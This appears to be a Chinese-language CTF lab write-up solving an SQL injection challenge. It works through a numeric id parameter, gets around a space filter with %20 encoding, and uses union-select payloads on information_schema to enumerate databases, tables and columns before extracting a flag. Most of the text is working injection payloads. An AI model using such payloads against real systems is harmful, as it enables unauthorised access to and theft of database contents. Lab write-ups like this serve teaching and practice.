这是一个sql注入的题目,里我们打开靶场看到了这么一个界面

随便点击热点列表中的一条热点,抓包发现出现这个界面

那我们大胆猜测,这个id可能就是注入点,我们手动验证一下
输入?id=1 and 1=1 --+ ,发现报错400

这是因为网站把空格过滤了,我们可以把空格换成url编码?id=1%20and%201=1%20--+ 发现可以正常接收到数据

接下来我们就可以按照正常流程测试了
?id=1%20order%20by%202--+ -- - order by 2发现可以正常显示,换成order by 3就是空白,所以我们可以判断出有2个回显位置
获取所有的数据库
?id=-1%20union%20select%201,group_concat(schema_name)%20from%20information_schema.schemata--+
发现有一个叫做ctftraining的数据库
获取ctftraining的数据表
?id=-1%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='ctftraining'--+
发现了flag表,所以flag应该就在里面,继续
获取字段名
?id=-1%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='ctftraining'%20and%20table_name='flag'--+获取flag
?id=-1%20union%20select%201,flag%20from%20ctftraining.flag--+